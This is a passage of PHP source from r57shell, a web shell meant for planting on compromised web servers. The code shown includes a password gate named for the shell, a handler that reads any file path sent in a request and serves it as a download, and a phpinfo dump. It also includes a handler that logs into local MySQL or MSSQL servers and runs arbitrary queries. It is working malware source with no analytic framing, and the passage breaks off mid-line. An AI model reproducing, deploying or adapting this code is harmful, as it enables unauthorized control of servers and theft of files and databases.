$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_SERVER as $k=>$v)
{
$_SERVER[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
{
header('WWW-Authenticate: Basic realm="r57shell"');
header('HTTP/1.0 401 Unauthorized');
exit(" r57shell : Access Denied");
}
}
$head = '
r57shell
';
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$this -> datasec[] = $fr;
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset += strlen($fr);
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) .
pack('v', sizeof($this -> ctrl_dir)) .
pack('V', strlen($ctrldir)) .
pack('V', strlen($data)) .
"\x00\x00";
}
}
function compress(&$filename,&$filedump,$compress)
{
global $content_encoding;
global $mime_type;
if ($compress == 'bzip' && @function_exists('bzcompress'))
{
$filename .= '.bz2';
$mime_type = 'application/x-bzip2';
$filedump = bzcompress($filedump);
}
else if ($compress == 'gzip' && @function_exists('gzencode'))
{
$filename .= '.gz';
$content_encoding = 'x-gzip';
$mime_type = 'application/x-gzip';
$filedump = gzencode($filedump);
}
else if ($compress == 'zip' && @function_exists('gzcompress'))
{
$filename .= '.zip';
$mime_type = 'application/zip';
$zipfile = new zipfile();
$zipfile -> addFile($filedump, substr($filename, 0, -4));
$filedump = $zipfile -> file();
}
else
{
$mime_type = 'application/octet-stream';
}
}
function mailattach($to,$from,$subj,$attach)
{
$headers = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: ".$attach['type'];
$headers .= "; name=\"".$attach['name']."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
if(@mail($to,$subj,"",$headers)) { return 1; }
return 0;
}
if(isset($_GET['img'])&&!empty($_GET['img']))
{
$images = array();
$images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw==';
$images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw==';
@ob_clean();
header("Content-type: image/gif");
echo base64_decode($images[$_GET['img']]);
die();
}
if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
{
if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; }
else
{
@ob_clean();
$filename = @basename($_POST['d_name']);
$filedump = @fread($file,@filesize($_POST['d_name']));
fclose($file);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
exit();
}
}
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
if ($_POST['cmd']=="db_query")
{
echo $head;
switch($_POST['db'])
{
case 'MySQL':
if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
$db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
if($db)
{
if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5){
echo " Query#".$num." : ".htmlspecialchars($query)."";
$res = @mysql_query($query,$db);
$error = @mysql_error($db);
if($error) { echo " "; }
else {
if (@mysql_num_rows($res) > 0)
{
$sql2 = $sql = $keys = $values = '';
while (($row = @mysql_fetch_assoc($res)))
{
$keys = @implode(" | ", @array_keys($row));
$values = @array_values($row);
foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(" | ",$values);
$sql2 .= "| ".$values." | ";
}
echo "";
$sql = "| ".$keys." | ";
$sql .= $sql2;
echo $sql;
echo "
";
}
else { if(($rows = @mysql_affected_rows($db))>=0) { echo "| affected rows : ".$rows." |
"; } }
}
@mysql_free_result($res);
}
}
@mysql_close($db);
}
else echo "Can't connect to MySQL server ";
break;
case 'MSSQL':
if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
$db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
if($db)
{
if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
$querys = @explode(';',$_POST['db_query']);
foreach($querys as $num=>$query)
{
if(strlen($query)>5){
echo "Query#".$num." : ".htmlspecialchars($query)."
";
$res = @mssql_query($query,$db);
if (@mssql_num_rows($res) > 0)
{
$sql2 = $sql = $keys = $values = '';
while (($row = @mssql_fetch_assoc($res)))
{
$keys = @implode(" | ", @array_keys($row));
$values = @array_values($row);
foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
$values = @implode(" | ",$values);
$sql2 .= "| ".&# | |
